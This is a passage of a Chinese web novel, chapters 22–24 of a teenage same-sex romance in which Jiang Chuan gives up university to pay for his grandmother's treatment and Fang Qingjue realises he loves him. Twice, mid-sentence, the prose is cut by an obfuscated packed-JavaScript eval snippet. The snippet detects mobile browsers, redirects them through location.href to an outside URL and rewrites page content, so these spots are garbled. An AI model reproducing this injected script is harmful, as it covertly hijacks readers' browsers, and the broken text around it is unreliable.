“傻孩子。”陈婆指了指头顶的灯,“亮着灯呢,肯定没睡呀。” 江川从卧室走出来,看见他什么也没问,拿起搪瓷杯接了杯热水,递过来。 方清珏双手捧着,搪瓷杯的杯壁滚烫得像个小火炉,热腾腾地烘着他的心。 “吃了吗?”陈婆问。 他立刻道:“吃了。” 江川听罢,偏过头去笑了一声,笑完才伸过手来,拽走他肩上的书包,说:“那你等会少吃两口,多喝点汤吧。” 方清珏这才闻到屋子里漂浮着淡淡的肉香,意识到陈婆刚做好晚饭。 怎么每回来都蹭吃又蹭喝。 他有点后悔进来了,心里不断埋怨自己往这跑干什么。 陈婆拉着他的手腕,把他带到江川卧室的暖气片那,说:“你贴着它站一会儿就缓过来了,缓过来我们就吃饭。” 方清珏想说我不饿,可暖气片的热意与体内的寒气一打照面,他就不由自主地打了个冷颤。 江川搬了个餐椅进来,放在书桌边,把他的书包放在椅子里,然后就坐回去继续写作业。 方清珏双手握着搪瓷杯,感受着搪瓷杯和暖气片源源不断地向体内输送着热气,也感觉身体像植被一样在渐渐复苏。 他的大脑也渐渐解除僵化,活络起来,这才后知后觉地察觉出什么。 “你都知道了?”他没什么底气地问。 江川笔尖一顿,鲜有的没有回答。 方清珏的心猛地一沉,震得地都在晃。他收回目光,突然有点不知道该如何面对江川,或者说,是不知道该怎么面对他背上那道疤。 西北风仍在呼号,一声比一声大,像极了失意者的哭声,也像无家可归的悲鸣。 方清珏感觉屋子里渗进了风,那股温暖他的暖意正以肉眼可见的速度冷却,消退。 今年冬天真冷啊。 他如此想着,将搪瓷杯放在暖气片上,走到餐椅前抓住书包带,准备走人。 “你现在还羡慕他吗?”江川侧过身,面朝他仰起头,睫毛往上扬时台灯的光在眼底映出一大片亮色,似水一样,衬得眼神分外温柔。 他眼里没有失望,没有委屈,没有埋怨,依旧干净澄澈得一眼能望到底,以至于他这样看过来的时候,方清珏竟然忘记了回答。 江川保持着这个姿势与他对视。 时间一分一秒的流逝,不知过去了多久,他扬了下眉梢,略显催促地“嗯?”了一声。 方清珏攸地回过神,立马低下头错开了目光。 “没有哪个孩子不渴望父母的爱。”他提起书包,说话的声音很轻,比起回答更像是说给自己听,“哪怕这份爱有条件。” 不知道是不是错觉,他这么说完,江川眼里的光暗了些许,随后也垂下了眼。 他们两个人各怀心事,谁都没有注意一个拿着汤勺的瘦弱身影,已经在卧室门口站了很久很久。 22. P.一语成畿 期末考试结束,其他年级正常放假,初三高三继续补课,一直补到除夕。 除夕夜,方清珏做完年夜饭就累得倒床上睡着了,江川则陪陈婆守岁一整晚,导致初一没起来。 他睡得昏天暗地,最后是被手机震醒的,接电话时语气特别不耐烦:“谁——?” “几点了还没醒。”方清珏说着,不自觉地勾起了唇角。 “方仔?”江川立刻换了种语气,声音里带着熟悉的笑意,“新年快乐啊。” 方清珏没说话。 他抬手敲了敲玻璃窗,说:“猪,起来把窗帘拉开。” “嗯?”江川显然有点懵。 三秒后,一阵窸窸窣窣的声音响起,随即就是急切的脚步声,然后,方清珏面前那扇窗的窗帘拉开了一条缝。 “呲拉——” 江川用力一拽,在阳光漏进来的一瞬间,雪白的大地连带着整个银装素裹的世界立刻涌入了眼眸。 “下雪了?”他眼睛睁大了一圈。 对面楼下有几个男人拿着铁锹清理单元门口的积雪,估计这场雪刚停没多久。而且,从路面上的积雪程度来看,雪下得还不小。 叩击玻璃的声音响起,江川移眸看过去,见方清珏侧过身,露出被挡住的院子一角,眼睛登时睁得更大了。 院子里堆着一个很大的红鼻子雪人,树叶做眼睛,红萝卜鼻子,还插了两根树杈当胳膊,看起来莫名滑稽。 随口提及的小事被人妥善放在心上的感觉很奇妙,像潮汐受到了月亮的吸引,像晚风追逐着薄雾,浑身的血液都不受控制地翻滚,沸腾。 江川看了将近一分钟才缓慢地移开视线,看向鼻尖微微泛红,眉眼间却藏着笑意的少年,一时间忘记了呼吸。 “新年快乐,江川。”方清珏隔着玻璃窗与他对视,“你的雪人来了。” 他一手抓着窗帘,一手攥着手机,彻底愣住了。 认识这么久,他的脸上从未出现过这种表情,方清珏没忍住,很轻地弯了下唇,“不向你的雪人许个愿吗?” 成片的积雪在江川眼里映出一片光亮,他唇瓣轻轻蠕动,声音低得像自语,“那就……祝我顺利考上X大吧。” 以江川的成绩,只要不是发挥失常,X大基本是板上钉钉的事。 方清珏屈指敲了敲窗户,“有点出息,咱们够一够北清的医学院。” 江川摇了摇头,眼里的光亮瞬间碎成了很多微小的星点:“过往的经验告诉我,做人不能太贪心。” 明明是第一次考大学,哪来的过往经验。 方清珏心说,不会是紧张过头了吧。 “放宽心,”他说,“雪人会助你梦想成真。” 冬去春来,助梦的雪人化成了一汪春水,变成了陈婆亲手栽种的香葱。香葱渐渐发芽,成长,却始终没等到人来摘。 ——栽葱的人鸟悄地关了店,带江川旅游去了。 林真真紧随其后,也带方程滇藏自驾游,方清珏自己一个人在家,总觉得生活少了点什么,日子变得了无生趣。 他开始频繁地打开微信,频繁地点开好友列表里仅有的一个联系人的资料,频繁地打字又删除,频繁听江川发过来的为数不多的几条语音。 将聊天记录从头到尾看了一遍又一遍,看到能倒背出来,他才觉得不能再这样下去了,便去打了份暑假工。 打工的地方离理发店不远,就在八中后门那条街,老板和陈婆很熟。他说陈婆当年是下乡知青,来了就没走,90年代下岗潮,她开了昧生理发店。 原来那个部首不全的招牌是昧生啊。 方清珏想。 时间以令人难以忍受的速度缓缓前进,筒子楼前的院子无人打理,香葱长着长着都开了花,一个假期走到尾声,八中开学了,林真真和方程也回来了。 理发店依旧关着门。 说来也巧,方清珏的班主任就是那个被方程气得胡子都少了一半的裴老,原来也是江川的班主任。 开学第一天,发完书,裴老把方清珏叫到了办公室,“我这一假期都没联系上你哥,你哥走了吗?” “学校军训,早走了。”他答。 “那完了,邹思伍那家伙一毕业就没影了,除了你哥,我想不到还谁能联系上江川。” 方清珏的心脏突然扑通一下跳得又重又急,“他怎么了?” “他录取同意书还在我这呢。”裴老从抽屉里拿出一封邮政快件,“这小子就没来取过,眼瞅着开学了,再不去报道这不白考了吗?” 方清珏直愣愣地看着那个快件,发出一声很长很长的疑问:“啊——?” “他没来取?”他一震惊,或者说一着急,竟然当着老师面掏出了手机,点开微信确认了一番,“可他前几天还说他军训呢啊。” 裴老凑过来看了眼聊天记录,斩钉截铁道:“竟扯儿,没通知书他搁什么报道?你打他电话,我来和他说。” 大脑应和着疾跳的心脏,出走的理智渐渐回笼,方清珏缓缓抬眸,问:“老师,你没他电话吗?” “我打他不接啊!”裴老叹了口气,痛心疾首道:“这熊孩子,真不让人省心。” 方清珏心脏忽地一沉,仿佛有所感应。他猛地抢走那封快件,说:“我知道去哪儿找他,我去给他送。” 扔下这句话他就跑出了办公室,裴老追了出来,喊着:“哎——!你让他给我回个电话!” 从港城到B市有二百多公里,高铁一个半小时,方清珏上车时还给江川发了条微信,问他在干什么。 临下车,江川才回。 -军训,刚结束。 那个瞬间,他忽然有种不真实的眩晕感,随即,巨大的荒谬感铺天盖地的淹没过来,令他头突突地疼。 下车后,他第一时间拨通了江川的电话。 也许是忙音响得太久,也许是等待的时间太长,方清珏突然担心江川会不会像回避裴老那样回避自己。 电话终于被接通,江川的声音不似从前那般清爽,莫名得低沉,像心情不好似的,“方仔?” 方清珏喉咙发紧,只好清了下嗓子:“你在哪儿呢。” “我……”江川顿了一下,说:“我在学校啊。” 学校个屁。 方清珏也撒了个谎,“我在你们学校门口。” 江川沉默了好一阵,然后说:“你等我一会儿。” 挂断电话,他立刻拦了辆出租车。 离X大尚有一段距离时,他看见江川骑着一辆掉了漆的自行车,在马路右侧人行路的林荫下疾驰。 他们几乎是同时到达的学校。 江川将车停在门卫亭那,视线在大门口搜寻了一圈,然后低头掏出了手机。 方清珏怀着难以言喻的心情,一步步走到他身后,在兜里的手机震动的那一秒开了口。 “江川。” 站在前面的人回过头来,视线与他对上时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139912|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很轻地勾了下唇角,挂断了电话,“你怎么来了,没开学吗?” 两个月不见,他瘦了许多,下颌线清晰得有些锋利,脸颊向下凹陷,显得颧骨微微凸了出来,眼里也充斥着红血丝,整个人透着一股没休息好的疲惫感。 方清珏站在他面前,直勾勾地看着他,答非所问:“军训很累吗?” “还行吧。”江川避开了他的目光,身上有种故作轻松的松弛感,“你还没吃饭吧?这附近有家涮羊肉挺好吃的。” “你们不是在军训吗?你怎么能出来?”方清珏追问。 “我请假了啊。”江川露出一个妥帖的笑容。 “你直接从操场跑过来的?” “对啊。” “那你怎么没穿迷彩服呢?” 闻言,江川的表情有一瞬间的空白。那一秒,方清珏明明是生气的,可心却止不住地发疼。 “你不累么。”他从包里拿出录取通知书,封面上的大门门脸和眼前的X大一模一样。 江川盯着他手上的通知书,微微睁大了眼。 “阿婆根本不是去旅游吧。”方清珏凝望着他,言语笃定。 夏风仓皇吹过,空气中满是油板路被晒化了的味道,气味和被拆穿的谎言一样难闻。 江川抬手拂去鼻梁上的汗珠,然后低下头,自嘲似地笑了一下,嗫嚅道:“你们姓方的真是聪明的可怕。” * 陈婆一辈子没回广东,在这边也没有亲朋好友,生病了只有江川忙前忙后的照顾。 单纯的照顾,还不至于让他抽不开身去取通知书,真正绊住他的是高昂治疗费。 理发店收入不高,陈婆的积蓄没多久就花光了。江川这几年兼职攒的钱只是杯水车薪,他只能没日没夜的打工。 “哪有时间上学呢。”江川喃喃道。 方清珏把录取通知书递给他,“申请延期入学吧。” 江川没说话,只定定地看着递到面前的通知书,微垂的眸光里有浓雾一样的担忧和恐惧,仿佛那并不是什么录取通知书,而是死亡通知单。 缄默半晌,他说:“行罢,反正我也没什么可失去的了。” 方清珏陪同他去教务处办理了延期入学,因为情况特殊,即使来晚了老师也没说什么,还拍了拍江川的肩,让他有困难记得找自己。 然后,江川载着他回了医院。 陈婆住的是单人病房,透过门上玻璃窗,能看见她戴着氧气罩平躺在床上,床头的输液架上挂着四个输液袋。 已经输完了两个,正在输第三个。 很难描述看见这一幕的感受,方清珏的大脑空白了几秒,随即才感觉到从心脏深处翻涌上来的溃痛。 “还差多少?”他哑着嗓子问。 “很多很多。”江川站在他旁边,脸上鲜有的没有任何表情,显得分外严肃,“不告诉你们,就是不想让你们跟着操心。” 他没有危言耸听,陈婆病情严重,保守估计都得十几万。 在短时间内凑齐十几万,对于一个高中刚毕业的学生来说,简直是天方夜谭。 方清珏从钱包里拿出一张银行卡,“IMO有奖金,方程走前留了一些给我。你知道的,我不可能花他的钱。” 江川不肯接,“那你还给他吧。” “江川,就让我为阿婆做点什么吧。”方清珏深深地看着他,整个人如同游走在断崖边,有种上不了岸的无力感,“算我求你了,行吗?” 23. P.栀子花开 陈婆现在连说话都吃力,难得能睡着,两个人都不敢贸然进去,就坐在医院走廊里的不锈钢等候椅上。 江川鲜有的没有端正地坐着,而是塌着背,上身微倾,胳膊肘搭着大腿,双手交叠地攥着那张薄薄的银行卡。 他知道不论自己要不要,方清珏都不会动这笔钱,会等方程回来时原封不动地还回去。 “……我替外婆谢谢你和你哥。”他低声道。 “没必要这样。”方清珏背倚着长椅,两条腿分岔开,是一个看似放松的姿势,“她又不是你一个人的阿婆。” 听到这句话,江川低下了头,眉心飞快地蹙了一下,目光虚虚地落在地面上,表情变得有些耐人寻味,不知究竟想起了什么。 反正不是什么好的回忆。 因为方清珏很明显地感受到了从他身上散发出来的锋利又尖锐的棱角。 “你住哪儿?”方清珏试图转移他的注意力。 江川的大拇指在那张银行卡卡面上来回抚摸,似是很珍惜:“有折叠床。” “在哪呢?”他问,“屋里不就一张床吗?” “床底下,收起来了。”江川说完又添了一句,“占地方。” 方清珏两手揣在裤兜里,眸光低垂,也盯着白得发亮的瓷砖地面不说话。 医院是讲究安静的地方,但住院部总是静不下来,尤其是走廊,总是有模糊的人语声,像潮水一样,时远时近,时有时无,围着他们淳淳流淌。 他们两个人谁都没开口,却都不觉得尴尬。不知道过了多久,江川侧过头来瞥了他一眼。 十几岁的少年还不善于掩藏心事,尽管那张得天独厚的厌世脸非常有迷惑性,给人一种他无时无刻都在不爽的错觉。 但江川非常确定,至少现在不是错觉,方清珏是真的很不爽。 “不高兴了?”他也向后一靠,脊背贴着椅背,和方清珏肩膀贴着肩膀地坐着。 方清珏听罢,移眸睨了他一眼,几秒后又收回视线,没回答。 江川撞了一下他的肩膀:“我谁都没告诉,连老伍都没告诉。” 胖子是江川最好的朋友,江川拿他做比较其实已经很给面子了。但方清珏还是皱了皱眉头,眉宇间的不爽不满不高兴更浓了。 他也不知道自己到底在不爽什么,只是下意识排斥江川把他和胖子放在一块做对比。 “别不高兴了,我请你喝可乐。”江川说着,又撞了他一下。 方清珏睇了他一眼,然后深深地,深深地叹了口气。 这个人,明明经历着再糟糕不过的事,明明已经累得心力憔悴,却还试图用余温来感染他。 真是败给他了。 方清珏:“几点去家教?” “今天没有。”江川从兜里摸出手机,看了眼时间,已经下午了。 “你不饿吗?”他问。 方清珏:“你今天原本打算吃什么?” 江川的表情有了很细微的变化。他沉吟着,像在做最后的挣扎,但挣扎了几秒就放弃了,压低嗓子道:“医院食堂随便打点。” 方清珏对他的反应很满意,点了点头,问:“阿婆用忌口吗?” 江川彻底坦白从宽:“不用,但她只能吃流食。” 方清珏又点点头,“那平时家教结束就直接去酒吧?” 江川咳了一声,偏过头看着另一侧的走廊,低低地嗯着。 白天陪床,下午家教,晚上通宵在酒吧。这样昼夜颠倒连轴转,怪不得会累成这样。 “江川。”方清珏蓦然起身,“你跟我来。” 他扔下这句话就自顾自地往出走,江川也就没问他要去哪儿。直到跟在方清珏身后进了医院附近的一家商务酒店,来到一间大床房,他才感觉哪里不太对。 “你带我来这干什么?” 方清珏合上遮光窗帘,屋子里登时暗得伸手不见五指。 “你睡一会儿吧。”他就近坐在窗户附近的小沙发上,手机屏幕的微弱光亮笼罩着他沉静的脸,“半小时后我叫你。” 他这句话说得一点起伏也没有,像是在通知,或者说下达命令。 江川站在门口看着他,琥珀色眼里有暗潮一样的情绪,在不断地翻涌,奔腾。 在他们两相沉默的时间里,方清珏始终专注地盯着手机屏幕,大拇指时不时点一下,仿佛他根本不存在。 几十秒后,江川默默走到床前,脱掉旅游鞋,掀开被子躺了进去。 他无声地,长长地舒了一口气,就像神经一直高度紧张地绷着,不敢松懈,直到这一秒才稍稍得以喘息。 酒店的隔音很好,屋子里安静极了,静得只能听见自己的呼吸。 江川闭着眼,心说,他没问外婆得的是什么病。 也没问还有多久的时间。 任何可能会令自己情绪低落的话题他都不着痕迹的避开了。 他今年才十七岁啊,却成熟得可怕。 * 江川醒过来时,方清珏已经不在了。他摸出手机一看,好家伙,七点半了。 微信有几条未读消息,是方清珏发来的。 -手机给你静音了。 -我照顾阿婆,你好好睡一觉。 将这两条消息来来回会地看了半晌,江川用力眨了一下眼睛,感觉心脏紧了一下,像是被人用力摁住了。 方清珏过生日只买了一个十块钱的廉价蛋糕,却为了让他好好睡一觉,在首都给他定了一间干净整洁隔音很好的商务酒店。 这一瞬间,江川不由自主地想起这个少年坐在医院的走廊里,抿着唇说“她又不是你一个人的阿婆”时的样子。 可他们对他的好顶多算是小恩小惠。真正应该说出这句话的人,却在得知消息后只帮忙换了个单人病房,然后再也没出现过。 人与人之间,孰近孰远,真的很难说清。 方清珏坐在病床旁的椅子上,手里捧着一本被牛皮纸包裹得很严实的书。 这本书的内里很旧了,有的页角泛起了绒毛一样的毛刺,一看就经常触摸;有的页面上有钢笔画线注释的痕迹;有的页面则有一两行小字,写着读书感悟。 面前这一页被叶脉书签夹着,有一段话被人用蓝色钢笔画了出来,方清珏便率先读了画浪线的部分: “她既不能用爱来保护和捍卫,也不能用爱来奉献荣誉。” “她两手空空,空无一物。” “她本来是乐意给她以生命,却只能是两手空空地去爱,像个乞丐一样。” 注意到主语是两个她,方清珏停下来,抬眸看向躺在床上的陈婆。 “吱呀——” 病房的门被轻轻推开,江川手里拿着几支刚折下来的栀子花,插在床头柜的空花瓶里。 “我记得你家院里种着一颗很大的栀子树,开花的时候风一吹,屋里都能闻到香味。”他说。 方清珏嗯了一声,目光不由自主地移到了他身上,一错不错地端详着。 江川这一觉睡了差不多六个小时,眼里的疲惫少了很多。他应该洗过澡了,身上有一股很淡很陌生的沐浴露味。 方清珏这才意识到,江川身上没有那股很有层次感的清香了。 “我妈喜欢。”他说。 江川在嗓子底笑了一声,“巧了,外婆也喜欢。你第一次来店里的时候,外婆就说你身上有栀子花的味道,很好闻。” 闻言,方清珏的心倏然一动,脸颊蓦然热了起来。 “是吗?”他立刻挪开了视线,却又不知该往哪儿看,慌乱之中,瞥见无声地凝望着江川的陈婆在不知不觉中红了眼眶,眼里蓄着一大片水光。 “是啊。”江川低头调整着花枝,尽量让它美观,“一入夏,你和方程身上都是这个味道。” 那颗悸动的心倏然灭了下去,方清珏拉长尾音“啊——”了一声,难掩失望地说:“这样啊。” “怎么?”江川歪头看他,“你不喜欢?” 方清珏把桌子上的保温饭盒递给他,答非所问:“赶紧吃吧,一会儿凉了。” “你们吃了么。” 陈婆这才说了自打他进屋后说的第一句话:“……吃过了。” 她声音很虚弱,发音也有点吃力,听起来像喘不上来气。江川朝她点点头,接过饭盒坐在床尾,把保温饭盒放在床尾的用餐板上,拧开了盖子。 饭盒一共有两层,第一层是肉臊蒸蛋,第二层是长粒香米饭。 医院食堂的蒸蛋是没有肉臊的,而且这蒸蛋完好无损,和饭盒融合在一起,像一块浑然天成的玉,明显是方清珏拿着饭盒借了不知道哪儿的食堂亲手做的。 江川吸了吸鼻子,低头把蒸蛋和米饭拌到一起,端着饭盒一大口一大口地吃着。 方清珏继续给陈婆读书,但余光却一直在江川身上。 其实自打认识江川,他就感觉这个人身上有一股很特殊的气质,不太像小城镇长大的人。 后来也得以证实,他确实不是土生土长的港城人,而是十六岁后才来到这里。 那十几年他在哪儿,是如何长大的,方清珏不得而知,但确定他一定是在文化底蕴很浓厚的家庭长大,因为他的言谈举止都特别有涵养。 就拿餐桌礼仪举例吧。 镇上的人没那么多讲究,都很随意,但江川吃饭总是很斯文,一小口一小口的。 他坐姿永远端正,饭碗会端起来,也只夹自己面前的菜,夹得量还很少,嘴里有饭时不会说话,碗里从不剩饭,吃饭也不会发出筷子碰撞碗碟的声音,咀嚼的时候会闭嘴,并且咀嚼很久,也很安静。 方清珏没少蹭饭,但他一直都是用公筷给自己夹菜。碰见爱吃的菜,比如肉臊蒸蛋,也不会多贪,总是点到即止。 可以说,他从未这样大口大口地吃过饭。所以此时此刻,方清珏的心就像充了气的气球,鼓胀得难受。 一碗饭还没吃完,江川的电话就响了。他看了一眼,立刻起身打算走,但站起来后又像想起来什么似的回头看了一眼陈婆,然后又回过头去一脸为难地盯着饭盒里的剩饭。 “你去吧。”方清珏从书包里翻出一袋手撕面包,塞到他手里,“这有我呢。” 这一刹那,两个人的目光对上,江川的眼睛微微睁大了,眼里的情绪浓重黏稠,像墨一样。 他走后,陈婆闭上了眼。一滴泪从满是皱纹的眼角滑落,滴落在枕头上,晕出一点不甚明显的痕迹。 方清珏的心也跟着揪了起来。 他知道她是心疼江川,也自责自己累得他不得不放弃了好不容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139913|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考上的大学,所以才一看见他就忍不住红了眼眶。 “阿婆。”方清珏轻轻地握住了她枯木一样的手。 “我应该一了百了……”陈婆微微哽咽,“可我放心不下,死了也闭不上眼睛……” 方清珏一下就红了眼眶:“你怎么能这么想呢,你不在了江川该怎么办?” 陈婆这才睁开眼,又一滴泪从她眼角滚落。她看着天花板,微弱的声音像是喃喃自语:“他要是连最后一点盼头都没了,该怎么活……” “方仔,”她忽然反握住他的手,“阿婆拜托你,一定要多照顾小川,好吗?” “阿婆你别这么说。”方清珏压根不敢答应,“你赶快好起来,我们一起照顾他。” 陈婆轻轻地,幅度很小地摇了摇头,“我是半截身子入土的人了,再怎么手术也是苟延残喘——” 方清珏立刻打断了她的话:“阿婆!” 陈婆眼里满是恳求,“阿婆求你了,行吗?” 方清珏没办法了,只好说:“阿婆,川哥他……对我来说是很重要很重要的人,就算您不说我也会尽全力照顾他的。” 陈婆再次轻微地摇了摇头。 “我是说以后,”她咽了口唾沫:“万一你们没能在一起,万一你没能成为他的盼头……” 也许是她的情绪太过激动,导致她更喘不过来气,说话更吃力,说话时呼在氧气罩上的雾气明显变少了。 方清珏立马摇高了床头,让她躺坐在床头。 “……你们也不能生分,”她紧紧地,热切地,一眨不眨地,死死地凝视着方清珏,“也要像现在一样好好的,行吗?” 方清珏越听越糊涂,从“以后”两个字出来后就没听懂,也不敢轻易允诺,只能茫然地,懵懂地,还略带无措地看着她。 许是见他不说话,陈婆另一只手也搭在了他手上,两只手都握着他,握得很用力,“我知道……这样很自私。” 她咽了咽口水,继续说:“就让我自私一回吧,不然我真的闭不上眼……” “这条路很难,如果你走不下去了,不喜欢他了,也没关系……” 方清珏的心突然漏了一拍。 “至少,别生分,”她抓着方清珏的手不放,望过来的眼神绝望得像是在托孤,“就像现在这样,和他好好的,行吗?” 方清珏的大脑空白了一瞬,随即嗡地一下炸开,炸成了许多零碎的,报废的部件,懵懵然地不转了。 “你……”陈婆见他依旧惊愕地看着自己,便指了指摊放在他腿上的书,“你翻到第一页。” 方清珏缓缓低下头,动作缓慢地照做。 陈婆:“你读。” 方清珏就像一个没有自主意识的木偶,陈婆让干什么他就干什么,“这世界把头埋在传统习俗的沙中……” “不是……这句。” “九十多年前……” “下一句。” 方清珏木讷地按照指令执行:“你不是不正常,也不惹人厌,更不是疯了。” “对。”陈婆说,“继续读,孩子,继续……” 方清珏耳边依旧嗡嗡嗡的,但那个声音越来越弱了。他照着书继续往下读:“你和每一个人一样都是所谓自然的一部分,只是目前还无法解释,你还没有在天地万物间找到栖身之所。” “不过总有一天会的,在此之前不要退缩,只要冷静勇敢地面对自己就行了。” 读到这,陈婆突然用微弱的声音和他一起念道:“鼓起勇气,尽可能妥善地处理你的负担。” 方清珏莫名的,不受控制地留下一滴泪,落在陈旧得泛黄的纸上,晕开了一句用蓝色钢笔写出的字。 ——我的爱至死不渝,但世人说它不洁。 这句话就写在“鼓起勇气,尽可能妥善地处理你的负担”后面,字迹苍劲有力,能看出写这个字的人做好了为爱去对抗整个世界的准备。 为了爱。 如果你不喜欢他了…… 你不是不正常,也不惹人厌,更不是疯了。 这一刹那,方清珏的心脏突然剧烈地跳动起来,响在耳畔的嗡嗡嗡声忽然变成了一道很刺耳很尖锐的长鸣。 “嗡————” 他感觉有一种难以言喻,悄无声息却疯狂生长的情绪正从心脏最柔软的地方顺着血液迅速窜向四肢百骸,直达灵魂深处。 方清珏忽然想起去年冬天,方程窝囊地认了命,他从家里跑出来后一次次无意识地跑进了江川家的筒子楼。 如今想来,他之所以这么做,是因为潜意识正极度渴望地想要靠近江川。 所以,江川不在的这两个月,他一次次在昧生理发店门口徘徊,不停地翻看过往的聊天记录,无休止地期待着江川的消息,都不仅仅是因为思念。 十七岁的少年只知道一靠近那个人世界就会变得鲜活明亮,却不知这份不知所起,蠢蠢欲动,尚且懵懂的心思是喜欢。 手里的书倏然发出簌簌声响,清风止不住地往屋里灌,窗外栀子树摆动的沙沙声和骤然失控的心跳像是一个信号。 原来他喜欢江川啊。 少年心动就像栀子花开,毫无理由,悄无声息,没有任何预兆。待能闻到馥郁清香时,早已一个人默默地喜欢了好久好久。 24. N.知三当三 江川是被敲门声吵醒的。 隔壁床空着,被褥已经叠放整齐,人却不见了,不知道什么时候出去的。 “来了。”他下床去开门,看清站在门外的人时愣了一下,眼里的光顿时就灭了。 “先生,这是您定的早餐。”服务生将打包好的餐食递过来,“祝您用餐愉快。” 江川:“?” 他懵懵然地关上门,将餐食放在茶几上,掏出手机给那个海外账号拨了通电话,刚拨出去就被接通了。 “醒了?”方清珏的声音平平淡淡,不像之前那么冷漠。 “嗯。”江川拉开遮光窗帘,倾城的日光透过窗洒落进来,照得身体暖洋洋的,“你在哪儿呢?饭已经到了。” “高铁上。” 江川:“??” 他怀疑自己幻听了,“在哪儿?” 电话里传来到站播报的电子音,“下一站港城,请下车的乘客请提前做好准备……” “不是……”江川倏然抓紧了窗帘,“你这是几个意思?” “早就说了,过了这个村就没有这个店。”方清珏说,“早点到了吧?你吃完再上路。” 他回头看了眼餐食,后知后觉地反应过来这是单人份的,不禁咬了咬牙,“你故意的?” 故意让他开车,故意不坐高铁,故意不叫醒他。从港城出发的那一刻,这人就想好了如何甩开他。 电话里传来一声短促的笑,似是嘲弄,又似揶揄,“你觉得是就是吧。” 电话啪地一声被挂断,速度快到江川都没反应过来。他怔怔地看了几秒手机,又垂眼瞅了瞅餐食,心情有些复杂,甚至怀疑自己没睡醒还陷在噩梦里。 在窗边杵了将近一分钟,他拎起打包盒往出走,退房往回赶。 来的时候安安静静,回的时候孤孤单单,江川一边开车一边联系方清珏,想问他吃没吃饭,胃还疼不疼,今天是不是得继续输液。但打出去的电话没人接,发出去的短信如同石沉大海,没有回音。 两旁的街景极速倒退,拉出一道模糊不清的影子,像极了那段无法回头的光阴。 江川悬着一口气,满脑子都是方清珏,哪怕看到的都是与这人毫不相关的事物,还是能在脑海里拐几个弯想到他。 他心不在焉,也心急如焚,连闯几个红灯上了高速,到港城的时候已经是下午了。 方清珏终于回了条信息,像是故意掐算好了时间。他什么都没说,只发过来一张照片,是随手抓拍的B市火车站。 江川登时绷紧了下颌线。 他将车停在路边,拨了通电话过去,方清珏依旧没接,只回了三个字过来。 -在上班。 言简意赅,冷淡且生疏。 江川盯着手机屏幕,感觉自己被吊在悬崖边,脚下就是万丈深渊。 他又拨了通电话过去,还是没人接。再打,就听见了冰冷的机械提示音:“您拨打的电话正忙,请稍后再拨。Sorry……” 操。 他被拉黑了。 江川降下车窗吸了一根烟,吸完又点了一根,就这么一根又一根地将剩下的半包烟抽光,还是胸闷难忍。 他将车子开回冲浪店,把车钥匙还给老伍,又用他的手机给方清珏打电话。 这回方清珏接得很快,忙音只响了几声就接通了。 “喂?”他的声音礼貌且疏离。 江川有些抓狂地说:“把我从黑名单里放出来!” 电话里传来一声短促的冷笑:“还真是你。” 这四个字说得凉嗖嗖的,语调很冷,江川忽然发现,方清珏对陌生人的态度都比对他要好。 他登时有些慌:“……你不会连这个号也要拉黑吧。” 方清珏没说话,沉默像是悬在头顶的利剑,江川提着一口气,不由自主地屏住了呼吸,感觉时间突然过得很慢,一秒钟差不多有一个世纪那么长。 半分钟后,电话里的人冷冷淡淡地开口:“放出来了,挂了。” “诶——”江川一个字刚出口,电话就被挂掉了。 站在一旁的老伍幸灾乐祸地道:“谁把你拉黑了?方仔?” 这抹笑太欠扁,江川忽然就不想告诉他闯红灯的事了。他将手机放在柜台上,从冰柜里拿了瓶冰镇啤酒坐到吧台边,试着给那个海外账号发了条短信。 短信发送成功。 他松了口气,拿起啤酒瓶喝了口啤酒。 “朗哥回B市了,临走前还想请我当说客游说你去他公司当制作人。他想把他们公司王牌歌手的最新专辑交给你来做,我知道你肯定不会去,就没答应。”老伍也拿了瓶啤酒过来,坐在他旁边。 这事秦朗提过。 他这次来港城不光是监制电影拍摄,也是想说服自己重走音乐路。 “也不一定。”江川说,“我考虑考虑。” 老伍很吃惊:“啊?可你不是一直都不愿意吗?” 算不上不愿意。 他只是很抗拒B市,不想在那里生活。 “人是会变的。”握在手里的手机响了一声,江川立刻解开锁屏,下一秒,笑容便僵在了唇角。 嵇野发来一条微信。 只有一张照片,角度一看就是偷拍的。照片上,方清珏在和一个男人吃饭,而且那个男人的手举在空中,明显在给他夹菜。 两个人都侧对着镜头,虽然看不见正脸,但气质却不分伯仲。江川看着那张清俊的侧脸,几乎能想象出这个人的五官得有多出挑。 最重要的是,这人一看就比方清珏年长,经由岁月沉淀下来的成熟气息比江川只多不少,甚至比他更加斯文。 江川怔怔地盯着手机屏幕,握着手机的手微不可察地有点颤,指尖隐隐泛白。 “这男人是谁啊?”老伍凑过来看,“长得挺帅哦。” 江川听罢,阴恻恻地盯向他:“你眼睛什么时候坏的?” 手机“咻咻”响了两声,嵇野又发过来两条消息。 【里予:看见了吧!】 【里予:你男人要把我男人拐跑了!!】 江川:“……” 他鲜少地回了条语音。 “你说话大喘气啊!” 嵇野也回了两条语音过来。 “赶紧把他给我拉走!” “快点!!” 江川缓缓呼出一口气,然后打了几个字。 【J:你也不行啊】 嵇野还是回复的语音,声音气急败坏的:“说得像你行似的!” 江川切出微信,查了查去B市的高铁,对老伍说:“送我去车站。” 老伍有点纳罕地问:“你要干啥去?” “去当小三。” “啥玩意儿?”老伍一怔,怀疑自己听错了。 * 